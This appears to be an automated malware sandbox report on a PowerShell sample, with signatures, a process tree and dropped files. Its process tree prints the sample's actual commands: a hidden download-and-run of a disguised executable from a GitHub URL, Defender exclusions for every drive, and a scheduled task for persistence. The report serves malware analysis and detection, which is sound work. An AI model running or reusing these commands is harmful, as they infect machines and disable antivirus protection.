Analysis

  • max time kernel
    57s
  • max time network
    60s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 07:58

General

  • Target
    test.ps1
  • Size 377B
  • Sample260809-jvbhhsxsdv
  • SHA256 0d0860cdab0f66b91c89ba361d702d49e2c50dd04967ce09c118af29b4351858
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Checks system information in the registry 2 TTPs 4 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start /min cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2440
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3248
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5788
          • C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
            "C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks system information in the registry
            • Suspicious use of WriteProcessMemory
            PID:5896
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              6⤵
              • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious use of WriteProcessMemory
              PID:4360
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:5416
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2836
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5452
    • C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
      C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks system information in the registry
      • Suspicious use of WriteProcessMemory
      PID:5848
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        2⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:6084
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:1376
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2652
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2616

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 67KB
            • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 64B
            • SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 95bf34d339698a4bb28f3d149bf3bd4631d612be2a593d2b126dd3f596c2d062
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 af9c825cbcda02813743734327d91de22caddd3c41b69669b30477985b04730c
            • MD5 SHA1 SHA512 TLSH

            SecurityHealthSarvice.exe

            • Path C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
            • Size 60KB
            • SHA256 8353eb70e28a76578479d2cf2b80a9670b9fdf25d0292049e715589bcfcf7fcd
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_c0wfchfs.5m1.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c0wfchfs.5m1.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            ~msnDEV-0e22b63f91b96891.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-0e22b63f91b96891.tmp
            • Size 4B
            • SHA256 fe55389e86f9c0627b173e38b9513e90073fa28c00d5ea8da7108d686cc0f410
            • MD5 SHA1 SHA512

            memory/2060-6-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2060-10-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2060-0-0x00007FF8998AF000-0x00007FF8998B0000-memory.dmp

            memory/2060-8-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2060-7-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2060-5-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2060-4-0x000001FDA45B0000-0x000001FDA45D2000-memory.dmp

            memory/2060-1-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/2836-48-0x000001FF1A800000-0x000001FF1A80A000-memory.dmp

            memory/2836-47-0x000001FF1AA30000-0x000001FF1AAE2000-memory.dmp

            memory/2836-46-0x000001FF1AA10000-0x000001FF1AA2E000-memory.dmp

            memory/5788-12-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-20-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-21-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-27-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-28-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-25-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-39-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-24-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-23-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-22-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-19-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-18-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-17-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-13-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5788-11-0x00007FF899720000-0x00007FF89A0C4000-memory.dmp

            memory/5848-60-0x000000027FE40000-0x000000027FE9A000-memory.dmp

            memory/5848-71-0x00007FF6BB8C0000-0x00007FF6BB8D9000-memory.dmp

            memory/5896-52-0x00007FF648180000-0x00007FF648199000-memory.dmp